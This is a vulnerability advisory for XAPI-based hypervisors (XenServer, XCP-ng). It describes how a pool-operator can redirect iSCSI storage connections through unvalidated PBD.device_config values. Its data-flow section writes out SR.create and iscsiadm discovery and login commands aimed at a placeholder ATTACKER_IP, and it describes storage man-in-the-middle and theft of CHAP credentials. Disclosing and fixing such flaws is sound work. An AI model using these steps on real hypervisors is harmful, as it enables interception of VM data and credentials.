MOKSHA-2026-0004: iSCSI Target Redirection via PBD.device_config

Advisory IDMOKSHA-2026-0004
Semantic IDPDC-1
Published2026-04-24
CVSS 3.19.1 Critical
CVSS 3.1 VectorAV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CVSS 4.08.7 High
CVSS 4.0 VectorAV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:L/SA:L
XAPI ObjectPBD
XAPI Fielddevice_config:target, device_config:targetIQN
Entry Rolepool-operator
ResearcherJakob Wolffhechel, Moksha

Affected Products

VendorProductVersions
Citrix / Cloud Software GroupXenServer / Citrix Hypervisorall versions (shared XAPI codebase)
VatesXCP-ng8.3.0

Summary

A pool-operator can create an iSCSI SR with attacker-controlled target and targetIQN values in PBD.device_config. The SM driver reads these values unchecked and passes them directly to iscsiadm for iSCSI discovery and login. The hypervisor connects to the attacker's iSCSI target instead of the legitimate storage array. This enables complete storage man-in-the-middle: the attacker serves malicious disk images to VMs, captures all VM I/O, and intercepts CHAP credentials in transit. Via BOC-1 (MOKSHA-2026-0001), a vm-admin can escalate to pool-operator and exploit this finding.

Vulnerability Description

PBD.device_config is the primary storage connection string for all SM drivers in XAPI-based hypervisors. For iSCSI SRs, it carries target (iSCSI server IP or hostname), targetIQN (target qualified name), port, and authentication credentials. These values flow directly from the XAPI database to iscsiadm subprocess calls without validation.

Data Flow

SR.create(device_config={target: ATTACKER_IP, targetIQN: ATTACKER_IQN})
  -> PBD stored with unchecked values
  -> PBD.plug() triggers BaseISCSI.load()
  -> iscsilib.discovery() / login() with attacker values
  -> iscsiadm -m discovery -t sendtargets -p ATTACKER_IP
  -> iscsiadm -m node --login -T ATTACKER_IQN -p ATTACKER_IP
  -> Hypervisor connects to attacker-controlled iSCSI target

The SM driver (BaseISCSI.py) reads device_config via SRCommand.parse() and uses the target and targetIQN values directly in iscsilib.discovery() and iscsilib.login(). No IP address validation, no IQN format verification, no allowlist check occurs at any point in the chain.

Relationship to SMC-1

PDC-1 is the "front door" to the same storage infrastructure that SMC-1 (MOKSHA-2026-0002) attacks via the "side door." Both exploit the SM driver's blind trust of XAPI-supplied configuration. PDC targets connection parameters (where to connect); SMC-1 targets operational state (how to behave). Both are independently exploitable.

Root Causes

  1. Zero validation on device_config values. XAPI stores device_config values in the PBD record without any format, range, or allowlist validation. IP addresses, IQNs, and port numbers are accepted as arbitrary strings.

  2. SM driver blind trust. BaseISCSI.load() reads device_config and passes values directly to iscsiadm subprocess calls. The driver assumes all values originate from a trusted administrator.

  3. No connection parameter immutability. Once stored, device_config values are not verified against the original SR creation parameters. No integrity check prevents post-creation modification.

Affected Systems

Directly Affected

Storage Backends Affected

Indirectly Affected

Exploitation Scenarios

Scenario Impact Pre-conditions Status
Storage MITM Attacker serves malicious disk images to VMs; captures all VM I/O Attacker runs iSCSI target on network ALL PASS (live-tested)
CHAP credential theft Intercepting CHAP authentication during iSCSI login CHAP configured on target SR ALL PASS (live-tested)
VM data injection Attacker's target serves poisoned VM disk images; VMs boot with attacker-controlled data None beyond MITM Modeled (follows from MITM)
BOC-1 chain vm-admin escalates to pool-operator via BOC-1 S3, then exploits PDC-1 BOC-1 available Modeled (two-step chain)

Detection

Remediation

Short-Term Mitigations

Long-Term Fix

Connection parameter validation: Each SR driver should define allowed device_config keys and value formats. For iSCSI: target must be a valid IP address or resolvable hostname on the storage network; targetIQN must conform to RFC 3720 IQN format; port must be an integer in range 1-65535.

Immutable device_config: Enforce true immutability at the XenAPI layer. Once set during SR.create, device_config should not be modifiable.

Upstream patches exist. They are held privately pending coordinated disclosure.

Disclosure

Disclosure:

References

Credits

Discovered and reported by Jakob Wolffhechel, Moksha.

Jakob Wolffhechel · Moksha · Copenhagen
jakob@wolffhechel.dk · +45 3170 7337
Published 2026-04-24 08:00 CEST · cna.moksha.dk · shittrix.moksha.dk